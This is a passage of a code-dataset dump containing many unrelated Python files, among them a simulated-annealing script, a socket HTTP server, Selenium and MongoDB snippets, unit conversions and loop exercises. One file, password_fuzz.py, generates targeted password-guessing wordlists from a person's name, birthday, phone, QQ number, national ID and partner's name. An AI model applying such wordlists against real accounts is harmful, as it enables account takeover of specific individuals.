insp]\n length += df_temp['Distance'].max()\n return length\n\n\ndef defect_codes_to_analyze(category='all'):\n \"\"\"\n Returns a list of defect codes of a particular defect category that you want to analyze\n The defect codes belonging to different categories\n \"\"\"\n deposit_codes = ['DAE', 'DAGS', 'DAR', 'DAZ', 'DSV', 'DSGV', 'DSC', 'DSZ', 'DNF', 'DNGV', 'DNZ']\n deformed_codes = ['DR', 'DFBR', 'DFBI', 'DFC', 'DFE', 'DTBR', 'DTBI']\n infiltration_codes = ['IS', 'ISB', 'ISJ', 'ISC', 'ISL', 'IW', 'IWB', 'IWC', 'IWJ', 'IWL', 'ID', 'IDB', 'IDC', 'IDJ', 'IDL', 'IR', 'IRB', 'IRC', 'IRJ', 'IRL', 'IG', 'IGB', 'IGC', 'IGL', 'IGJ']\n hole_codes = ['HSV', 'HVV']\n fracture_codes = ['FL', 'FC', 'FM', 'FS', 'FH', 'FH2', 'FH3', 'FH4']\n crack_codes = ['CL', 'CC', 'CM', 'CS', 'CH', 'CH2', 'CH3', 'CH4']\n broken_codes = ['BSV', 'BVV']\n collapse_codes = ['X']\n\n tap_codes = ['TB', 'TBI', 'TBD', 'TBC', 'TBA', 'TF', 'TFI', 'TFD', 'TFC', 'TFA', 'TFB', 'TR', 'TRI', 'TRD', 'TRC', 'TRA', 'TRB', 'TS', 'TSI', 'TSD', 'TSA', 'TSB']\n root_codes = ['RFB', 'RFL', 'RFC', 'RFJ', 'RMB', 'RML', 'RMC', 'RMJ', 'RBB', 'RBL', 'RBC', 'RBJ', 'RTB', 'RTL', 'RTC', 'RTJ']\n joint_offset_codes = ['JOS', 'JOM', 'JOL', 'JOSD', 'JOMD', 'JOLD', 'JSS', 'JSM', 'JSL', 'JAS', 'JAM', 'JAL']\n\n defects_all = deposit_codes + deformed_codes + infiltration_codes + hole_codes + fracture_codes + crack_codes + broken_codes + root_codes + joint_offset_codes + collapse_codes\n defects_struct = deformed_codes + hole_codes + fracture_codes + crack_codes + broken_codes + joint_offset_codes + collapse_codes\n defects_operat = root_codes + deposit_codes\n\n if category == 'all':\n return defects_all\n elif category == 'structural':\n return defects_struct\n elif category == 'operational':\n return defects_operat\n\n else:\n raise ValueError('Incorrect input. Category should be all, structural, or operational')\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"323868537","text":"# -*- encoding:utf-8 -*-\nfrom pypinyin import lazy_pinyin\nimport pypinyin\nimport datetime\nfrom sys import argv\n\n\nclass Password(object):\n\n join_symbols = [\"#\", \"@\"]\n\n def __init__(self, run_level, have_birthday,have_telnum,have_qq,have_idnum,have_lover,have_special,txt_dir):\n self.txt_dir = txt_dir\n self.run_level = run_level\n self.have_birthday = have_birthday\n self.have_telnum = have_telnum\n self.have_qq = have_qq\n self.have_idnum = have_idnum\n self.have_lover = have_lover\n self.have_special = have_special\n \n\n def convert_to_pinyin(self, chinese_name, style = 0):\n if style == 0:\n s = pypinyin.NORMAL\n elif style == 1:\n s = pypinyin.FIRST_LETTER\n elif style == 2:\n s = pypinyin.INITIALS\n return lazy_pinyin(chinese_name, s)\n\n def generate_name(self, name):\n pwds = []\n\n name_normal = lazy_pinyin(name, pypinyin.NORMAL) # [ye, shi, wen]\n name_first = lazy_pinyin(name, pypinyin.FIRST_LETTER) # [y, s, w]\n name_initial = lazy_pinyin(name, pypinyin.INITIALS) # [y, sh, w]\n\n name_count = len(name)\n if name_count == 2:\n # yeshi\n if self.run_level >= 1:\n pwds.append(name_normal[0]+name_normal[1]) # yeshi\n pwds.append(name_first[0]+name_first[1]) # ys\n if self.run_level >= 2:\n pwds.append(name_normal[1]+name_normal[0]) # shiye\n pwds.append(name_first[1]+name_first[0]) # sy\n elif name_count == 3:\n # yeshiwen\n if self.run_level >= 1:\n pwds.append(name_normal[0]+name_normal[1]+name_normal[2]) # yeshiwen\n pwds.append(name_first[0]+name_first[1]+name_first[2]) # ysw\n if self.run_level >= 2:\n pwds.append(name_normal[1]+name_normal[2]+name_normal[0]) # shiwenye\n pwds.append(name_first[1]+name_first[2]+name_first[0]) # swy\n if self.run_level >= 3:\n pass\n elif name_count ==4:\n pass\n else:\n pass\n\n return pwds\n\n def generate_birth(self, birthday):\n pwds = []\n\n if \"/\" in birthday:\n birthday = birthday.replace(\"/\", \"\")\n elif \"-\" in birthday:\n birthday = birthday.replace(\"-\", \"\")\n else:\n pass\n\n # 2016-01-02\n c = datetime.datetime.strptime(birthday, \"%Y%m%d\")\n if self.run_level >= 1:\n pwds.append(c.strftime(\"%y%m%d\")) # 160102\n pwds.append(c.strftime(\"%m%d\")) # 0102\n pwds.append(c.strftime(\"%Y%m%d\")) # 20160102\n if self.run_level >= 2:\n pwds.append(str(c.month) + str(c.day)) # 12\n pwds.append(c.strftime(\"%y\") + str(c.month) + str(c.day)) # 1612\n pwds.append(c.strftime(\"%Y\") + str(c.month) + str(c.day)) # 201612\n if self.run_level >= 3:\n pwds.append(c.strftime(\"%m%d%y\"))\n pwds.append(c.strftime(\"%d%m%y\"))\n pwds.append(c.strftime(\"%d%m%Y\"))\n pwds.append(str(c.day) + str(c.month) + c.strftime(\"%y\"))\n pwds.append(str(c.day) + str(c.month) + c.strftime(\"%Y\"))\n\n return pwds\n \n def generate_telnum(self,telnum):\n pwds = []\n \n n = telnum\n if self.run_level >= 1:\n pwds.append(n)\n pwds.append(n[7::])\n return pwds\n \n def generate_qq(self,qq):\n pwds = []\n \n i = qq\n if self.run_level >= 1:\n pwds.append(i)\n \n \n return pwds\n \n def generate_idnum(self,idnum):\n pwds = []\n \n i = idnum\n \n if self.run_level >= 1:\n pwds.append(i)\n \n \n return pwds\n\n def lover_name(self, lover):\n pwds = []\n\n lover_normal = lazy_pinyin(lover, pypinyin.NORMAL) # [ye, shi, wen]\n lover_first = lazy_pinyin(lover, pypinyin.FIRST_LETTER) # [y, s, w]\n\n lover_count = len(lover)\n if lover_count == 2:\n # yeshi\n if self.run_level >= 1:\n pwds.append(lover_first[0]+lover_first[1]) # ys\n elif lover_count == 3:\n # yeshiwen\n if self.run_level >= 1:\n pwds.append(lover_first[0]+lover_first[1]+lover_first[2]) # ysw\n elif lover_count ==4:\n pass\n else:\n pass\n\n return pwds\n\n def special_num(self,special):\n pwds = []\n\n s = special\n\n if self.run_level >= 1:\n pwds.append(s)\n\n return pwds\n\n\n\n \n \n \n \n def mix_name_birth(self, name_pwds, birth_pwds):\n pwds = []\n for name in name_pwds:\n for birth in birth_pwds:\n if self.run_level >= 1:\n pwds.append(name+birth)\n \n if self.run_level >= 2:\n pwds.append(birth+name)\n if self.run_level >= 3:\n for sym in self.join_symbols:\n pwds.append(name+sym+birth)\n pwds.append(birth+sym+name)\n return pwds\n \n def mix_name_telnum(self,name_pwds,telnum_pwds):\n pwds = []\n \n for telnum in telnum_pwds:\n if self.run_level >= 1:\n if len(telnum) == 0:\n break\n else:\n pwds.append(telnum)\n if self.run_level >= 2:\n if len(telnum) == 0:\n break\n else:\n \n for name in name_pwds:\n pwds.append(name+telnum)\n pwds.append(telnum+name)\n if self.run_level >= 3:\n if len(telnum) == 0:\n break\n else:\n for name in name_pwds:\n for sym in self.join_symbols:\n pwds.append(name+sym+telnum)\n pwds.append(telnum+sym+name)\n return pwds\n \n def mix_name_qq(self,name_pwds,qq_pwds):\n pwds = []\n for qq in qq_pwds:\n if self.run_level >= 1:\n if len(qq) == 0:\n break\n else:\n pwds.append(qq)\n if self.run_level >= 2:\n if len(qq) == 0:\n break\n else:\n for name in name_pwds:\n pwds.append(name+qq)\n pwds.append(qq+name)\n if self.run_level >= 3:\n if len(qq)==0:\n break\n else:\n for name in name_pwds:\n for sym in self.join_symbols:\n pwds.append(name+sym+qq)\n pwds.append(qq+sym+name)\n return pwds\n \n def mix_name_idnum(self,name_pwds,id_pwds):\n pwds = []\n for idnum in id_pwds:\n if self.run_level >= 1:\n if len(idnum) == 0:\n break\n else:\n pwds.append(idnum)\n if self.run_level >= 2:\n if len(idnum) == 0:\n break\n else:\n for name in name_pwds:\n pwds.append(name+idnum)\n pwds.append(idnum+name)\n if self.run_level >= 3:\n if len(idnum) == 0:\n break\n else:\n for name in name_pwds:\n for sym in self.join_symbols:\n pwds.append(name+sym+idnum)\n pwds.append(idnum+sym+name)\n return pwds\n \n def mix_name_lover(self,name_pwds,lover_pwds):\n pwds = []\n for lover in lover_pwds:\n if self.run_level >= 1:\n if len(lover) == 0:\n break\n else:\n pwds.append(lover +\"520\")\n pwds.append(lover + \"5201314\")\n pwds.append(\"5201314\"+lover)\n pwds.append(\"520\"+lover)\n if self.run_level >= 2:\n if len(lover) == 0:\n break\n else:\n for name in name_pwds:\n pwds.append(name+lover)\n pwds.append(lover+name)\n if self.run_level >= 3:\n if len(lover) == 0:\n break\n else:\n for sym in self.join_symbols:\n pwds.append(name+sym+lover)\n pwds.append(lover+sym+name)\n return pwds\n def mix_special(self,name_pwds,lover_pwds,special_pwds):\n pwds = []\n for special in special_pwds:\n if self.run_level >= 1:\n if len(special) == 0:\n break\n else:\n for name in name_pwds:\n \n pwds.append(special)\n pwds.append(name+special)\n pwds.append(special + name)\n if self.run_level >= 2:\n if len(special) == 0:\n break\n else:\n for name in name_pwds:\n for lover in lover_pwds:\n \n pwds.append(name+lover+special)\n pwds.append(name+special+lover)\n pwds.append(lover+special+name)\n if self.run_level >= 3:\n if len(special) == 0:\n break\n else:\n for lover in lover_pwds:\n pwds.append(lover+special)\n pwds.append(special+lover)\n \n return pwds\n\n \n \n def process_txt(self):\n infos = []\n file = open(self.txt_dir, \"r\",encoding='UTF-8')\n for line in file.readlines():\n line = line.replace(\"\\r\",\"\").replace(\"\\n\",\"\")\n tmp = []\n if self.have_birthday:\n x = line.split(\"\\t\")\n tmp.append(x[0])\n tmp.append(x[1])\n if self.have_telnum:\n x = line.split(\"\\t\")\n tmp.append(x[2])\n if self.have_qq:\n x = line.split(\"\\t\")\n tmp.append(x[3])\n if self.have_idnum:\n x = line.split(\"\\t\")\n tmp.append(x[4])\n if self.have_lover:\n x = line.split(\"\\t\")\n tmp.append(x[5])\n if self.have_special:\n x = line.split(\"\\t\")\n tmp.append(x[6])\n \n else:\n tmp.append(line)\n infos.append(tmp)\n return infos\n\n def weak_password(self):\n '''\n weak password example\n '''\n weak_pwds = []\n if self.run_level >= 1:\n pwds = [\"123456\", \"123456789\"]\n weak_pwds.extend(pwds)\n if self.run_level >= 2:\n pwds = [\"123qwe\", \"1234qwer\", \"1qaz2wsx\"]\n weak_pwds.extend(pwds)\n if self.run_level >= 3:\n pwds = [\"123!@#\", \"!qaz@wsx\"]\n weak_pwds.extend(pwds)\n return weak_pwds\n\n def weak_suffix(self, pwds):\n if self.run_level >= 1:\n pass\n if self.run_level >= 2:\n pass\n if self.run_level >= 3:\n pass\n\n def run(self):\n\n pwds = []\n \n\n infos = self.process_txt()\n\n for info in infos:\n name_pwds = self.generate_name(info[0])\n pwds.extend(self.weak_password())\n pwds.extend(name_pwds)\n\n if self.have_birthday:\n birth_pwds = self.generate_birth(info[1])\n pwds.extend(birth_pwds)\n pwds.extend(self.mix_name_birth(name_pwds, birth_pwds))\n if self.have_telnum:\n telnum_pwds = self.generate_telnum(info[2])\n pwds.extend(telnum_pwds)\n pwds.extend(self.mix_name_telnum(name_pwds,telnum_pwds))\n if self.have_qq:\n qq_pwds = self.generate_qq(info[3])\n pwds.extend(qq_pwds)\n pwds.extend(self.mix_name_qq(name_pwds,qq_pwds))\n if self.have_idnum:\n id_pwds = self.generate_idnum(info[4])\n pwds.extend(id_pwds)\n pwds.extend(self.mix_name_idnum(name_pwds,id_pwds))\n if self.have_lover:\n lover_pwds = self.lover_name(info[5])\n pwds.extend(lover_pwds)\n pwds.extend(self.mix_name_lover(name_pwds,lover_pwds))\n if self.have_special:\n special_pwds = self.special_num(info[6])\n pwds.extend(special_pwds)\n pwds.extend(self.mix_special(name_pwds,lover_pwds,special_pwds))\n \n f=open(\"password.txt\",\"w\")\n for p in pwds:\n if len(p) >= 6 and len(p) <= 16:\n f.write(p)\n f.write(\"\\n\")\n f.close()\n \n \n\n\nif __name__ == \"__main__\":\n test = Password(int(argv[1]), int(argv[2]),int(argv[3]),int(argv[4]),int(argv[5]),int(argv[6]),int(argv[7]),argv[8])\n test.run()\n","sub_path":"password_fuzz.py","file_name":"password_fuzz.py","file_ext":"py","file_size_in_byte":13483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"9429306","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style(\"darkgrid\")\nfrom scipy.optimize import minimize\nimport json\nfrom simanneal import Annealer\n\n# Self-Assessment Solution for Simulated Annealing with Continuous Variables\n\n# rastrigin definition\ndef f(x):\n x = np.array(x) # force a numpy arrray here so that the math below works\n # pass a single vector of length n (=dim) to evaluate Rastrigin\n return sum(x**2 + 10 - 10 * np.cos(2 * np.pi * x))\n\ndef gauss_move(xy,sigma):\n # xy is a 1 by dim numpy array\n # sigma is the standard deviation for the normal distribution\n dim = len(xy)\n return xy + np.random.normal(loc = 0, scale = sigma, size=dim)\n\ndef clip_to_bounds(xy,low,high):\n # xy is a 1 by dim numpy array\n # low is the lower bound for clipping variables\n # high is the upper bound for clipping variables\n return np.array( [min(high,max(low,v)) for v in xy])\n\nclass Rastrigin_a(Annealer):\n\n # no extra data so just initialize with state\n def __init__(self, state, sigma, low, high):\n self.sigma = sigma\n self.low = low\n self.high = high\n super(Rastrigin_a, self).__init__(state) # important!\n\n def move(self):\n self.state = gauss_move(self.state, self.sigma)\n self.state = clip_to_bounds(self.state, self.low, self.high)\n\n def energy(self):\n return f(self.state)\n\n\n\nlow = -5.12\nhigh = 5.12\nsigma = (high-low)/6\n# init_state = np.random.uniform(low=low,high=high,size=10)\n# init_state = np.random.uniform(low=0,high=0,size=10)\n# problem2D = Rastrigin_a( init_state, sigma, low, high )\n# problem2D.set_schedule(problem2D.auto(minutes=.6))\n# best_x, best_fun = problem2D.anneal()\n\n# print(\"Notice that the results below are displayed using scientific notation.\\n\")\n# print(f\"The lowest function value found by simulated annealing is {best_fun:.3e}\")\n# print(f\"That value is achieved when x = {best_x}\")\n# # refine with local search\n# from scipy.optimize import minimize\n\n# result = minimize(f,best_x)\n# print(\"\\nAfter refining the result from simulated annealing with local search.\")\n# print(f\"The lowest function value found by local search is {result.fun:.3e}\")\n# print(f\"That value is achieved when x = {result.x[0]:.3e} and y = {result.x[1]:.3e}\")\n\nclass Rastrigin_b(Annealer):\n\n # no extra data so just initialize with state\n def __init__(self, state, sigma, low, high):\n self.sigma = sigma\n self.low = low\n self.high = high\n super(Rastrigin_b, self).__init__(state) # important!\n\n def move(self):\n self.state = gauss_move(self.state, self.sigma)\n self.state = clip_to_bounds(self.state, self.low, self.high)\n bounds = [(self.low,self.high) for i in range(self.state.size)]\n result = minimize(f, self.state, bounds=bounds, tol=0.1)\n self.state = result.x\n\n def energy(self):\n return f(self.state)\n\ninit_state = np.random.uniform(low=low,high=high,size=10)\nproblem2D = Rastrigin_b( init_state, sigma, low, high )\nproblem2D.set_schedule(problem2D.auto(minutes=.001))\nbest_x, best_fun = problem2D.anneal()\nbounds = [(low,high) for i in range(best_x.size)]\nresult = minimize(f, best_x, bounds=bounds)\n\nprint(\"Notice that the results below are displayed using scientific notation.\\n\")\nprint(f\"The lowest function value found by simulated annealing is {best_fun:.3e}\")\nprint(f\"That value is achieved when x = {best_x}\")","sub_path":"Homework/Lesson 05 HW - Metaheuristics/HW5.3.py","file_name":"HW5.3.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"501396079","text":"\"\"\"\n http请求响应示例\n\"\"\"\nfrom socket import *\n\ns = socket()\ns.bind((\"0.0.0.0\", 8001))\ns.listen(5)\n\nc, addr = s.accept()\nprint(\"Connect from \", addr)\n\n# 接收消息\ndata = c.recv(4096)\nprint(data.decode())\n\n# 发送给浏览器一些内容,显示\n# 按照响应格式组织\n# response = \"\"\"HTTP/1.1 200 OK\\r\\nContent-Type:text/html\\r\\n\\r\\nThis is a http test\"\"\"\nresponse = \"HTTP/1.1 200 OK\\r\\n\" # 响应行\nresponse += \"Content-Type:text/html\\r\\n\" # 响应头可以有多个\nresponse += \"\\r\\n\" # 空行\n# response += \"This is a http test\" # 响应体\n\nwith open(\"python.html\") as f:\n response += f.read() # 响应体\n\nc.send(response.encode())\n\nc.close()\ns.close()\n\n\n","sub_path":"training02.py","file_name":"training02.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"223562545","text":"import time\nfrom selenium import webdriver\n\nfilename = 'd:/chromedriver.exe'\ndriver = webdriver.Chrome(filename) # 드라이버 파일 실행\n\nurl = 'http://www.google.com'\ndriver.get(url) # 드라이버 url 요청\n\nsearch_textbox = driver.find_element_by_name('q') # find source\n\nword = '북미정상회담'\nsearch_textbox.send_keys(word)\nsearch_textbox.submit()\n\nwait = 5 # 대기 시간\nprint(str(wait)+ '동안 대기')\ntime.sleep(wait)\n\nimagefile = 'capture.png'\ndriver.save_screenshot(imagefile)\nprint(imagefile + ' 파일로 저장됩니다.')\n\nwait = 3\ndriver.implicitly_wait(wait)\n\ndriver.quit()\nprint('브라우저 종료합니다.')","sub_path":"crawling/selenium/seleniumTest01.py","file_name":"seleniumTest01.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"471367320","text":"import codecs\nimport json\nimport pymongo\n\nfin = codecs.open('artist.json', 'r', 'utf_8')\n\nif __name__ == \"__main__\":\n client = pymongo.MongoClient()\n db = client.MusicBrainz\n print(\"db:\",db.name)\n collection = db.artist\n\n for line in fin:\n jsonData = json.loads(line)\n print(jsonData)\n collection.insert_one(jsonData)\n","sub_path":"64.py","file_name":"64.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"40169270","text":"def convert(fromUnit, toUnit, value):\n '''Convert temperatures Celsius (C), Fahrenheit (F), Kelvin (K),'''\n '''and convert distances miles (m), yards (yd), meters (m)'''\n if fromUnit == \"C\" and toUnit == \"K\":\n k = value + 273.15\n return k\n elif fromUnit == \"C\" and toUnit == \"F\":\n f = (value * (9/5)) + 32\n return f\n elif fromUnit == \"K\" and toUnit == \"C\":\n c = value - 273.15\n return c\n elif fromUnit == \"K\" and toUnit == \"F\":\n f = (value * (9/5)) - 459.67\n return f\n elif fromUnit == \"F\" and toUnit == \"C\":\n c = (value - 32) * (5/9)\n return c\n elif fromUnit == \"F\" and toUnit == \"K\":\n k = (value + 459.67) * (5/9)\n return k\n elif fromUnit == \"mi\" and toUnit == \"yd\":\n yd = value * 1760\n return yd\n elif fromUnit == \"yd\" and toUnit == \"mi\":\n mi = value / 1760\n return mi\n elif fromUnit == 'yd' and toUnit == 'm':\n m = value / 1.0936133\n return m\n elif fromUnit == 'm' and toUnit == 'yd':\n yd = value * 1.0936133\n return yd\n elif fromUnit == 'm' and toUnit == 'mi':\n mi = value / 1609.344\n return mi\n elif fromUnit == 'mi' and toUnit == 'm':\n m = value * 1609.344\n return m\n elif fromUnit == toUnit:\n return value\n else: \n raise ConversionNotPossible('Temperature cannot convert to distance, and vice versa')\n\n\nclass ConversionNotPossible(ValueError):\n pass\n","sub_path":"conversions_refactored.py","file_name":"conversions_refactored.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"89591668","text":"import cv2\n# import numpy as np\n#\n# import matplotlib.pyplot as plt\n# import glob\n#\n# image_dir = '/home/naresh/Tarento/PubLayNet/pdftoimage/1506.02640/'\n# save_dir = '/home/naresh/Tarento/PubLayNet/crop_image/yolo/'\n# config = {'edge_threshold_w': 0.75}\n#\n\ndef sum_along_w(binary):\n h, w = binary.shape\n sum_w = []\n for i in range(w):\n sum_w.append(h - binary[:, i].sum())\n return sum_w\n\n\ndef sum_along_h(binary):\n h, w = binary.shape\n sum_h = []\n for i in range(h):\n sum_h.append(w - binary[i, :].sum())\n return sum_h\n\n\ndef get_column(image,width_ratio):\n # images = glob.glob(image_dir + '*.jpg')\n # for image in images:\n roll_number = cv2.imread(image, 0)\n image_height = roll_number.shape[0]\n filtered_2 = cv2.bilateralFilter(roll_number.copy(), 10, int(image_height / 2), int(image_height / 2))\n image_height = roll_number.shape[0]\n filtered_5 = cv2.bilateralFilter(roll_number.copy(), 10, int(image_height / 4), int(image_height / 4))\n binary = cv2.adaptiveThreshold(filtered_2, 1, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2)\n binary_5 = cv2.adaptiveThreshold(filtered_5, 1, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2)\n h, w = binary_5.shape\n # sum_h = sum_along_h(binary_5)\n sum_w = sum_along_w(binary_5)\n temp_index = sum_w[int(w / 2) - 200:int(w / 2) + 200].index(min(sum_w[int(w / 2) - 200:int(w / 2) + 200]))\n real_index = temp_index + int(w / 2) - 200\n real_index = int(real_index * width_ratio)\n regions = [{'text_top':0,'text_left':0,'text_width':real_index,'text_height':h},{'text_top':0,'text_left':real_index,'text_width':w - real_index,'text_height':h}]\n #\n # image1 = roll_number[:, 0:real_index]\n # image2 = roll_number[:, real_index:]\n # cv2.imwrite(save_dir + \"1_\" + str(image.split('/')[-1]), image1)\n # cv2.imwrite(save_dir + \"2_\" + str(image.split('/')[-1]), image2)\n return regions\n\n\n#\n# ver_crop_image(image_dir, save_dir)\n#\n#\n","sub_path":"anuvaad-etl/anuvaad-extractor/block-merger/src/utilities/class_2/page_layout/double_column.py","file_name":"double_column.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"411829383","text":"# 1 Basic - Print all integers from 0 to 150.\nfor x in range(151):\n print(x)\n\nx = 0;\nwhile x <151:\n print(x)\n x = x+1\n#2 Multiples of Five - Print all the multiples of 5 from 5 to 1,000\nfor x in range(5, 1000, 5):\n print(x)\n\nx = 5\nwhile x < 1001:\n print(x)\n x = x + 5\n\n# 3 Counting, the Dojo Way - Print integers 1 to 100. If divisible by 5, print \"Coding\" \n# instead. If divisible by 10, print \"Coding Dojo\".\nfor x in range(1, 101, 1):\n if x%10 == 0:\n print(\"Coding Dojo\")\n elif x%5 == 0:\n print(\"Coding\")\n else: print(x)\n\n# 4 Whoa. That Sucker's Huge - Add odd integers from 0 to 500,000, and print the final sum.\nsum = 0\nfor x in range (1, 500000+1, 2):\n sum = sum + x\nprint(sum)\n\n# 5 Countdown by Fours - Print positive numbers starting at 2018, counting down by fours.\nfor x in range(2018, 0, -4):\n print(x)\n\n# 6 Flexible Counter - Set three variables: lowNum, highNum, mult. Starting at lowNum and \n# going through highNum, print only the integers that are a multiple of mult. \n# For example, if lowNum=2, highNum=9, and mult=3, the loop should print 3, 6, 9 (on successive lines)\n#Answer:\n#case 1\n# lowNum, highNum, mult= -2, 185, 0\n#case 1a\n# lowNum, highNum, mult= 113, 185, 3\n# lowNum, highNum, mult= 2, 185, 30\n# lowNum, highNum, mult= 2, 30, 3\n# case 1b\n# lowNum, highNum, mult= -113, -85, 3\n# lowNum, highNum, mult= -2, 185, 30\n# lowNum, highNum, mult= -30, 185, 30\n# lowNum, highNum, mult= -2, 30, 3\n\n# case 2z:\n# lowNum, highNum, mult= 113, 185, -3\n# lowNum, highNum, mult= 2, 185, -30\n# lowNum, highNum, mult= 2, 30, -3\n# case 2b:\n# lowNum, highNum, mult= -113, -85, -3\n# lowNum, highNum, mult= -2, 30, -3\n# lowNum, highNum, mult= -2, 185, -5\ndef flexible_counter(lowNum, highNum, mult):\n startV = 0;\n import math\n if mult == 0:\n print(mult)\n if mult > 0:\n if lowNum > 0:\n startV = max(int(math.ceil(lowNum/mult))*mult, mult)\n elif lowNum < 0: \n if abs(lowNum)>abs(mult):\n startV = min(int(math.ceil(lowNum/mult)*mult), -mult) \n else: \n startV = max(int(math.ceil(lowNum/mult))*mult, -mult)\n print(f\"with lowNum = {lowNum}, highNum = {highNum}, multiple = {mult}\")\n for i in range(startV, highNum+1, mult):\n print(i)\n if mult < 0:\n if lowNum > 0:\n startV = max(int(math.floor(lowNum/mult))*mult, mult)\n elif lowNum < 0:\n startV = min(int(math.floor(lowNum/mult)*mult), -mult) \n print(f\"with lowNum = {lowNum}, highNum = {highNum}, multiple = {mult}\")\n for i in range(startV, highNum+1, -mult):\n print(i)\n\nflexible_counter(2, 185, 0) \nflexible_counter(113, 185, 3) \nflexible_counter(-113, -85, 3) \nflexible_counter(-113, -85, -3) \nflexible_counter(2, 185, 30) \nflexible_counter(2, 185, -30) \nflexible_counter(-2, 185, -5) \n","sub_path":"03_Python/2.1_Python_Fundamentals/ForLoopBasic1.py","file_name":"ForLoopBasic1.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"263499342","text":"import os\nfrom os import sep\nfrom flask import Flask\nfrom . import c, settings, db\n#from .ext import get_extensions, get_extension\n\n\ndef appfactory(environment=None, name=None):\n app = create_app(name or c.APPNAME)\n init_db(app, db)\n #init_config(app, environment or settings.ENVIRONMENT)\n #init_extensions(app, *settings.EXTENSIONS)\n return app\n\n\ndef create_app(*args, **kwargs):\n return Flask(*args, **kwargs)\n\n\ndef init_config(app, env=None):\n # First configure from the default config\n app.config.from_object('application.config')\n\n # See if env is provided (usually via command line or settings.py)\n if env is not None:\n # See if its a string\n if isinstance(env, c.STRINGTYPE):\n # See if its a pyfile\n if env.endswith('.py'):\n app.config.from_pyfile(env)\n # Must be a module\n else:\n app.config.from_object('.'.join([c.APPNAME, 'config', env]))\n # See if its a dictionary\n elif isinstance(env, dict):\n app.config.update(**env)\n # See if its anything else\n else:\n app.config.from_object(env)\n\n # Finally config from environment variable\n if settings.ENVVAR_NAME in os.environ:\n app.config.from_envvar(settings.ENVVAR_NAME)\n\n\ndef init_db(app, db_object):\n db_object.init_app(app)\n\n\ndef init_extensions(app, *extensions):\n for e in extensions:\n get_extension(e).init_app(app)\n","sub_path":"application/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"108928441","text":"class FireSum:\n\t'''\n\tsimple class to sum prepared firescar outputs to boolean. where fire=1, nofire=0\n\tin a rolling manner using multiprocessing and callbacks.\n\tThe only needed input is a numpy 2-D array that will be used as a template to \n\t'zero-out' the rolling sum. multiprocessing Lock() is used to ensure access to\n\tthe add method is performed by only one worker at a time. This is performed to \n\treduce the RAM overhead of summation across the entire range of outputs using \n\tnumpy and multiprocessing map(). \n\tArguments:\n\t\tarr = [numpy.ndarray] with 2 dimensions in the order of (lat, lon)\n\t\n\tReturns:\n\t\tFireSum() object with zeroed-out template of arr\n\t'''\n\tdef __init__( self, arr ):\n\t\tself.value = np.zeros_like( arr ) #this is the initialization of the sum\n\t\tself.lock = multiprocessing.Lock()\n\t\tself.count = 0\n\tdef add( self, value ):\n\t\tself.count += 1\n\t\tself.lock.acquire() #lock so sum is correct if two processes return at same time\n\t\tself.value += value #the actual summation\n\t\tself.lock.release()\n\ndef prep_firescar( fn ):\n\timport rasterio\n\tarray1 = rasterio.open( fn ).read( 3 )\n\tarray1 = np.where( array1 > -2147483647, 1, 0 )\n\treturn array1\n\t\ndef list_files( maps_path, wildcard='FireScar_' ):\n\t'''\n\tnew list files that can deal with the year sub-direcories \n\ttest change we are making to improve performance. \n\n\tThis should be able to deal with any file hierarchy that we throw at it\n\tsince it uses os.walk....\n\t'''\n\timport os\n\tfiles = [ os.path.join( root, i ) for root, subs, files in os.walk( maps_path ) \\\n\t\t\tif len( files ) > 0 for i in files if wildcard in i ]\n\treturn files\ndef get_repnum( fn ):\n\t''' \n\tbased on the current ALFRESCO FireScar naming convention,\n\treturn the replicate number\n\t'''\n\treturn os.path.basename( fn ).split( '_' )[-2]\n\n# def sum_firescars( firescar_list, ncores ):\n# \timport pandas as pd\n# \tpool = multiprocessing.Pool( processes=ncores, maxtasksperchild=2 )\n# \t# groupby the replicate number\n# \tfirescar_series = pd.Series( firescar_list )\n# \trepgrouper = firescar_series.apply( get_repnum )\n# \tfirescar_groups = [ j.tolist() for i,j in firescar_series.groupby( repgrouper ) ]\n\n# \t#create an instance of callback class and zero the sum\n# \ttmp_rst = rasterio.open( firescar_list[0] )\n# \ttmp_arr = tmp_rst.read( 3 )\n# \tsum_arr = FireSum( tmp_arr )\n\n# \t_ = [ sum_arr.add( np.sum( pool.map( prep_firescar, group ), axis=0 ) ) for group in firescar_groups ]\n\n# \tpool.close()\n# \treturn sum_arr.value\n\ndef sum_firescars( firescar_list, ncores ):\n\tpool = multiprocessing.Pool( processes=ncores, maxtasksperchild=2 )\n\n\ttmp_rst = rasterio.open( firescar_list[0] )\n\ttmp_arr = tmp_rst.read( 3 )\n\n\tsum_arr = FireSum( tmp_arr ) #create an instance of callback class and zero the sum\n\tfor fn in firescar_list:\n\t\t_ = pool.apply_async( prep_firescar, (fn,), callback=sum_arr.add )\n\n\tpool.close()\n\tpool.join()\n\n\treturn sum_arr.value\n\ndef relative_flammability( firescar_list, output_filename, ncores=None, mask_arr=None, mask_value=None, crs=None ):\n\t'''\n\trun relative 